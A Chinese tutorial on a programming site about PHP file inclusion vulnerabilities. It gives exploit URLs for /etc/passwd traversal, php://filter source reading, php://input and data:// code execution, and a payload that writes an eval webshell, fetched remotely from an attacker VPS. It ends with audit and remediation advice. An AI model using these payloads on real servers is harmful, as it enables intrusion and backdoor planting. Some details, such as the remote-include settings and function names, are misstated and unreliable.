我的编程空间,编程开发者的网络收藏夹
学习永远不晚

详解PHP渗透测试文件包含漏洞与利用

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

详解PHP渗透测试文件包含漏洞与利用

什么是文件包含漏洞

文件包含,在网站开发人员开发网站时,会将经常重复的代码写道一个单独的文件中,在别的文件中可以使用文件包含的函数来引用单独的文件。目前很多语言都支持文件包含,例如php(inchude,require,inchude_once,require_once)等,,也就是包含文件包含函数,其目的就是减少代码重复,提高代码优化效率,减少函数重复的使用。

文件包含产生的漏洞,因为有这些文件包含的函数,当我们有一定权限(可读)的时候,我们就可以利用文件包含函数包含我们语言指定的文件,或者是包含本地服务器中的文件。简而言之,当php语言在引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过效验,或者没有经过过滤被绕过,从而引用别的文件,导致的恶意代码注入

文件包含漏洞的分类

大体可以分为:本地文件包含和远程文件包含。

远程文件包含:开启条件,在php.ini配置文件中开启allow_url_fopen和allow_url_include,包含文件是第三方文件

本地文件包含:就是本地服务器上的文件

一旦远程包含可以开启,那么远程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以随意的包含任意主机的任意文件。

本地文件包含

顾名思义,引用本地文件,利用inchude包含函数包含本地(服务器)文件。

漏洞&利用

利用条件(以PHP为例)

1.inchude,等函数通过动态变量引入

2.用户能自动控制动态变量

什么是动态变量?

我们可以这么理解,例如一个网站 http://127.0.0.1/inchude.php?in=../../../etc/passwd,那么此时的?in=../../../etc/passwd是我们动态可以操作的变量

直接访问文件

?xx=/etc/passwd     #直接访问passwd敏感文件
?xx=../../../etc/passwd 

利用协议读取源代码

?xx=php://filter/read=convert.base64-encode/resource=xx.php    #这样能看到php文件的源码

截断%00

这里假设漏洞代码为

<?php
if(isset($_GET['shell']))
{
    include($_GET['shell'].".php");  //包含文件后会加上.php,并进行访问
}else{
    include(index.php);
 }
?>

假设这样正常的网站,我们上传一个图片马文件为tpm.jpg,此时我们需要访问图片时网址就会报错,此时url=http://127.0.0.1/index.php?shell=tpm.jpg.php,此时文件中并没有该文件,此时我们就可以在.jpg后添加%00进行截断,可能可以绕过。

条件:php.inimagic_quotes_qpc=off并且PHP版本< 5.3.4的情况。

长度截断

漏洞代码演示

<?php
$file=$_GET['shell'];
include($file.'.jpg');
?>

与上面原理差不多,在1.txt中写下

当知晓对方服务器的而前提下,我们可以使用超出服务器的解析特征,进行一个绕过。

条件:Windows长度是‘/.’长于256,Linux长度是‘/.’长于4096

PHP的伪协议

file://

作用:

访问本地文件,在CTF中常用文件包含题型

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例:

文件的绝对路径和文件名
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
文件的相对路径和文件名
http://127.0.0.1/include.php?file=./phpinfo.txt
网络路径和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://

作用:

php:// 访问输入输出流(i/o)

这里介绍两种常用类型:

php://filter 用于读取源码

php://input 用于执行PHP代码

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例

php://filter/read=convert.base64-encode/resource=[文件名]  //base64读取文件源码

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input + POST执行php代码

http://127.0.0.1/include.php?file=php://input[POST DATA部分] <?php phpinfo(); ?>

如果具有一定的写入权限,POST 写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data://

条件 :

allow_url_fopen=on

allow_url_inchude=on

作用:

在PHP>=5.2.0起,可以使用data://数据封装器,传递数据相应格式的数据

可以执行PHP代码

实例

#1.data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

#2.data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

利用条件 PHP > 5.3

要想使用Phar类里的方法,必须将phar.readonly=on/off,利用 phar 协议可以拓展 php 反序列化漏洞攻击面

远程文件包含

服务器通过PHP的函数去包含任意文件时,由于要包含的这个文件过滤不严格,从而可以去包含一个恶意文件,从而达到攻击的目的

漏洞利用

条件:

allow_url_include = OFF

allow_url_fopen = OFF

远程包含webshell

?xxx=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

<?php
    fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

代码审计

文件包含用到的函数

include()        //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
 
require()        //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

代码审计的时候全局搜索以上函数

如果是基于图像上传的 ,要搜$_FILES 变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。

查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。

修复建议

  • 禁止远程文件包含 allow_url_include=off
  • 配置 open_basedir=指定目录,限制访问区域。
  • 过滤../等特殊符号
  • 修改Apache日志文件的存放地址
  • 开启魔术引号 magic_quotes_qpc=on
  • 尽量不要使用动态变量调用文件,直接写要包含的文件。

到此这篇关于详解PHP渗透测试文件包含漏洞与利用的文章就介绍到这了,更多相关PHP文件漏洞与利用内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

详解PHP渗透测试文件包含漏洞与利用

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

渗透测试对文件包含漏洞网站检测

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如
2023-06-03

网站漏洞测试 文件上传漏洞的安全渗透与修复

很多客户网站以及APP在上线运营之前都会对网站进行渗透测试,提前检测网站是否存在漏洞,以及安全隐患,避免因为网站出现漏洞而导致重大的经济损失,客户找到我们SINE安全做渗透测试服务的时候,我们都会对文件上传功能进行全面的安全测试,包括文件上
2023-06-03

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录